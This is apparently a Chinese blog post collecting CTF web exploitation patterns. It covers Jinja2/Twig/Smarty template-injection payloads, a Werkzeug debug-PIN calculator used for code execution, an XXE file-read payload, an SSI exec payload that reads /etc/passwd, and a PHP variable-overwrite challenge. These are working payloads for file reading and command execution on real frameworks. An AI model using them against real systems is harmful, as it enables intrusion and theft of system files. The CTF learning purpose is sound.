CTF 一些漏洞模式

SSTI模板注入

SSTI初探
SSTI
SSTI详解
Smarty SSTI

常用payload;

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

或者直接
{system("cat /flag")}

还有很多常用的payload,比如:

读源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}{% for c in [].__class__.__base__.__subclasses__() %}#从文件中遍历
	{% if c.__name__=='catch_warnings' %}#找到开启debug模式的文件
		{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}#读取文件
	{% endif %}
{% endfor %}

查看目录
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
#这里是因为题目中过滤了import、os等关键字

获取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}{% for c in [].__class__.__base__.__subclasses__() %}
	{% if c.__name__=='catch_warnings' %}
		{{c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}
	{% endif %}
{% endfor %}

而对于这类题目如果开启了debug模式,还有另一种解法,即使用pin登陆python shell执行命令;
PIN码RCE:

输入PIN码进行认证后,可以在交互式Python shell中执行自定义Python代码

生成PIN的关键值有如下几个

  • 服务器运行flask所登录的用户名。 通过读取/etc/passwd获得
  • modname 一般不变就是flask.app
  • getattr(app, “name”, app.class.name)。python该值一般为Flask,值一般不变
  • flask库下app.py的绝对路径。通过报错信息就会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
  • 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得16进制的值 (eth0为当前使用的网卡)
  • 机器的id。
    对于非docker机每一个机器都会有自已唯一的id,Linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
    对于docker机则读取/proc/self/cgroup

在/etc/passwd获取用户名信息

{{lipsum.__globals__.__builtins__.open('/etc/passwd','r').read()}}
或者:
{{x.__init__.__globals__.__builtins__.open('/etc/passwd','r').read()}}

发现用户名是flaskweb

获取mac地址

{{x.__init__.__globals__.__builtins__.open('/sys/class/net/eth0/address','r').read()}}

转为10进制值:

>>> print(int('0242ac10add8',16))
2485377860642

获取机器id,读取/proc/self/cgroup

{{x.__init__.__globals__.__builtins__.open('/proc/self/cgroup','r').read()}}

就是在docker后面那一串值:e6b3bfda18c546b246b228951cdcdbcdb408d3b0fee5f7c0e187c876f532b330

收集完信息就可以计算PIN码了:

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb',#服务器运行flask所登录的用户名
    'flask.app',# modname
    'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
    '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]

private_bits = [
    '2485377860642',#当前网络的mac地址的十进制数
    'e6b3bfda18c546b246b228951cdcdbcdb408d3b0fee5f7c0e187c876f532b330'#机器的id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

输入PIN码即可进入

执行代码:

>>> import os
>>> os.popen('ls /').read()
>>> os.popen('cat /this_is_the_flag.txt').read()

引用:[GYCTF2020]FlaskApp

XXE

xxe攻击,就是利用xml引用外部实体发起攻击,可以获取文件甚至执行命令;
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY person SYSTEM "file:///flag" >
]>
<something>&person;</something>
这里的something是自己结合题目可以用到的回显,就可以把结果展示出来

相关参考:
xxe
xxe
XXE详细讲解

SSI

SSI漏洞
SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。
例如,您可以将指令放置到现有的HTML页面中,例如:

<!--#echo var="DATE_LOCAL" -->

并且,当该页面被投放时,该片段将被评估并替换为其值:

Tuesday, 15-Jan-2013 19:28:54 EST

所以可以在shtml中放入命令
如:

<!--#exec cmd="cat /etc/passwd" -->

然后访问,进而执行命令。

变量覆盖漏洞

include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
    $$x = $y;//把参数表定义为变量,此处就可以考虑变量覆盖,比如传handsome=flag
}
foreach($_GET as $x => $y){
    $$x = $$y;//同上,但是会变成 $handsome = $flag
}
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
echo "the flag is: ".$flag;

三个if有三种payload;

  1. ?a=flag&flag=a&handsome=flag
    -当循环运行到a=flag会发现符合条件(a===a && a!=flag)
  2. ?yds=flag
  3. ?is=flag&flag=flag

变量覆盖漏洞

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值